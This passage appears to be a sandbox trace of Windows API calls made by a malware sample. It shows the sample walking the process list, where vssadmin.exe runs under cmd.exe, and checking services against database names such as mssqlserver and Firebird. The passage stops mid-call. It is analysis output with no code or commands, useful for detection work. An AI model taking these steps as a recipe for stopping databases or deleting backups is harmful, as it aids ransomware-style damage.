lstrlenW (lpString="spoolsv.exe") returned 11 [0117.551] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.552] lstrlenW (lpString="taskhost.exe") returned 12 [0117.552] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.553] lstrlenW (lpString="svchost.exe") returned 11 [0117.553] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.554] lstrlenW (lpString="taskeng.exe") returned 11 [0117.554] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.554] lstrlenW (lpString="taskhost.exe") returned 12 [0117.554] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0117.555] lstrlenW (lpString="fixwaves.exe") returned 12 [0117.555] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0117.556] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0117.556] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0117.556] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0117.557] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0117.557] lstrlenW (lpString="monsaver.exe") returned 12 [0117.557] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0117.558] lstrlenW (lpString="dosesugar.exe") returned 13 [0117.558] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0117.559] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0117.559] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0117.559] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0117.559] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0117.560] lstrlenW (lpString="nonprofit top.exe") returned 17 [0117.560] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0117.560] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0117.561] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0117.561] lstrlenW (lpString="accused.exe") returned 11 [0117.561] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0117.562] lstrlenW (lpString="governance.exe") returned 14 [0117.562] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0117.563] lstrlenW (lpString="old.exe") returned 7 [0117.563] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0117.564] lstrlenW (lpString="xi cg.exe") returned 9 [0117.564] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0117.564] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0117.565] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0117.565] lstrlenW (lpString="burlington.exe") returned 14 [0117.565] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0117.566] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0117.566] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0117.683] lstrlenW (lpString="buildings.exe") returned 13 [0117.683] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0117.683] lstrlenW (lpString="predictions_took.exe") returned 20 [0117.683] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0117.684] lstrlenW (lpString="carry_dns.exe") returned 13 [0117.684] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0117.685] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0117.685] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.685] lstrlenW (lpString="svchost.exe") returned 11 [0117.685] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.686] lstrlenW (lpString="sppsvc.exe") returned 10 [0117.686] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.687] lstrlenW (lpString="svchost.exe") returned 11 [0117.687] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0117.687] lstrlenW (lpString="msiexec.exe") returned 11 [0117.687] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0117.688] lstrlenW (lpString="cmd.exe") returned 7 [0117.688] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.689] lstrlenW (lpString="conhost.exe") returned 11 [0117.689] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0117.690] lstrlenW (lpString="vssadmin.exe") returned 12 [0117.690] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0117.690] CloseHandle (hObject=0x1c0) returned 1 [0117.691] Sleep (dwMilliseconds=0x1f4) [0118.583] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52e8f0 [0118.583] EnumServicesStatusExW (in: hSCManager=0x52e8f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0118.583] GetLastError () returned 0xea [0118.583] EnumServicesStatusExW (in: hSCManager=0x52e8f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x30e0288, cbBufSize=0x13fc, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x30e0288, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0118.584] CloseServiceHandle (hSCObject=0x52e8f0) returned 1 [0118.584] lstrlenW (lpString="Appinfo") returned 7 [0118.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0118.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0118.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0118.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0118.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0118.584] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0118.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0118.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0118.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0118.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0118.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0118.584] lstrlenW (lpString="AudioSrv") returned 8 [0118.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0118.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0118.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0118.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0118.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0118.584] lstrlenW (lpString="BFE") returned 3 [0118.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0118.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0118.584] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0118.584] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0118.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0118.585] lstrlenW (lpString="CryptSvc") returned 8 [0118.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0118.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0118.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0118.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0118.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0118.585] lstrlenW (lpString="CscService") returned 10 [0118.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0118.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0118.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0118.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0118.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0118.585] lstrlenW (lpString="DcomLaunch") returned 10 [0118.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0118.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0118.585] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0118.585] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0118.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0118.585] lstrlenW (lpString="Dhcp") returned 4 [0118.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0118.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0118.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0118.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0118.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0118.585] lstrlenW (lpString="Dnscache") returned 8 [0118.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0118.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0118.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0118.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0118.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0118.585] lstrlenW (lpString="DPS") returned 3 [0118.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0118.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0118.585] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0118.585] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0118.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0118.585] lstrlenW (lpString="eventlog") returned 8 [0118.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0118.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0118.586] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0118.586] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0118.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0118.586] lstrlenW (lpString="EventSystem") returned 11 [0118.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0118.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0118.586] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0118.586] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0118.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0118.586] lstrlenW (lpString="FontCache") returned 9 [0118.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0118.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0118.586] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0118.586] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0118.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0118.586] lstrlenW (lpString="gpsvc") returned 5 [0118.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0118.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0118.586] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0118.586] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0118.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0118.586] lstrlenW (lpString="iphlpsvc") returned 8 [0118.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0118.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0118.586] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0118.586] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0118.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0118.586] lstrlenW (lpString="LanmanServer") returned 12 [0118.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0118.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0118.586] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0118.586] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0118.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0118.587] lstrlenW (lpString="LanmanWorkstation") returned 17 [0118.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0118.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0118.587] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0118.587] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0118.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0118.587] lstrlenW (lpString="lmhosts") returned 7 [0118.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0118.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0118.587] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0118.587] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0118.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0118.587] lstrlenW (lpString="MMCSS") returned 5 [0118.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0118.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0118.587] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0118.587] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0118.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0118.587] lstrlenW (lpString="MpsSvc") returned 6 [0118.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0118.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0118.587] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0118.587] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0118.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0118.587] lstrlenW (lpString="Netman") returned 6 [0118.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0118.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0118.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0118.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0118.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0118.587] lstrlenW (lpString="netprofm") returned 8 [0118.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0118.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0118.588] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0118.588] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0118.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0118.588] lstrlenW (lpString="NlaSvc") returned 6 [0118.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0118.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0118.588] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0118.588] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0118.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0118.588] lstrlenW (lpString="nsi") returned 3 [0118.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0118.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0118.588] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0118.588] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0118.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0118.588] lstrlenW (lpString="PcaSvc") returned 6 [0118.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0118.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0118.588] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0118.588] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0118.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0118.588] lstrlenW (lpString="PlugPlay") returned 8 [0118.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0118.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0118.588] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0118.588] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0118.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0118.588] lstrlenW (lpString="Power") returned 5 [0118.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0118.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0118.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0118.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0118.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0118.588] lstrlenW (lpString="ProfSvc") returned 7 [0118.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0118.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0118.588] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0118.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0118.589] lstrlenW (lpString="RpcEptMapper") returned 12 [0118.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0118.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0118.589] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0118.589] lstrcmpiW 